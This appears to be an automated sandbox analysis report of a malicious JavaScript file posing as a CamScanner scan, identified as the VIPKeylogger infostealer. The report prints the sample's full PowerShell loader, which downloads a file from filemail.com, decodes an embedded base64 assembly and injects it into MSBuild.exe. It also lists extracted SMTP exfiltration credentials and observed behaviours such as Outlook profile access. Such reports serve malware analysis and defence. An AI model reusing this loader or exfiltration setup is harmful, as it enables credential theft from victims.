Analysis
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max time kernel
94s -
max time network
122s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
18/02/2025, 15:02
Static task
static1
Behavioral task
behavioral1
Sample
CamScanner 02-18-20250535.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
CamScanner 02-18-20250535.js
Resource
win10v2004-20250217-en
General
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Target
CamScanner 02-18-20250535.js
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Size
311KB
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MD5
0de9fff98db3ba4094c5aa81d6c67423
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SHA1
c1350fa5569ad8d00231da2cde9955c34757fba5
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SHA256
554b9322949c5330f897d744e542da4d8db44ec6b193ed36374c386fb8cdb0c0
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SHA512
1fe18f132389031057617a771dd0aab9fce470156eae586d607da651d7506f8e6d51ba432149db749fd614a58873262fbfae1bc132e10f7b14f1bcdb700a3703
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SSDEEP
3072:5vJ5HovJ5HovJ5HovJ5H7vJ5HovJ5HovJ5HovJ5H4vJ5HovJ5HovJ5HovJ5HRbUj:soYfL
Malware Config
Extracted
https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d
https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d
Extracted
Protocol: smtp- Host:
142.171.169.81 - Port:
587 - Username:
[email protected] - Password:
!z34db8K4
Extracted
vipkeylogger
Protocol: smtp- Host:
142.171.169.81 - Port:
587 - Username:
[email protected] - Password:
!z34db8K4 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 3048 powershell.exe 15 3048 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe -
pid Process 3048 powershell.exe -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 reallyfreegeoip.org 17 checkip.dyndns.org 19 reallyfreegeoip.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3048 set thread context of 4224 3048 powershell.exe 88 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3048 powershell.exe 3048 powershell.exe 4224 MSBuild.exe 4224 MSBuild.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3048 powershell.exe Token: SeDebugPrivilege 4224 MSBuild.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2536 wrote to memory of 3048 2536 wscript.exe 86 PID 2536 wrote to memory of 3048 2536 wscript.exe 86 PID 3048 wrote to memory of 4224 3048 powershell.exe 88 PID 3048 wrote to memory of 4224 3048 powershell.exe 88 PID 3048 wrote to memory of 4224 3048 powershell.exe 88 PID 3048 wrote to memory of 4224 3048 powershell.exe 88 PID 3048 wrote to memory of 4224 3048 powershell.exe 88 PID 3048 wrote to memory of 4224 3048 powershell.exe 88 PID 3048 wrote to memory of 4224 3048 powershell.exe 88 PID 3048 wrote to memory of 4224 3048 powershell.exe 88 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\CamScanner 02-18-20250535.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2536 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$panthera = 'jLg3x/sr.e#sap//:sp##h';$roflcopter = $panthera -replace '#', 't';$liegemen = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$arecaceae = New-Object System.Net.WebClient;$Mochi = $arecaceae.DownloadData($liegemen);$mulligans = [System.Text.Encoding]::UTF8.GetString($Mochi);$debations = '<<BASE64_START>>';$ammonite = '<<BASE64_END>>';$abludes = $mulligans.IndexOf($debations);$heartstoppingly = $mulligans.IndexOf($ammonite);$abludes -ge 0 -and $heartstoppingly -gt $abludes;$abludes += $debations.Length;$monopoly = $heartstoppingly - $abludes;$ganocephalan = $mulligans.Substring($abludes, $monopoly);$fuckroom = [System.Convert]::FromBase64String($ganocephalan);$Shermanesque = [System.Reflection.Assembly]::Load($fuckroom);$orbiting = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($roflcopter,'','','','MSBuild','','','','','','','','','',''))"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4224
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82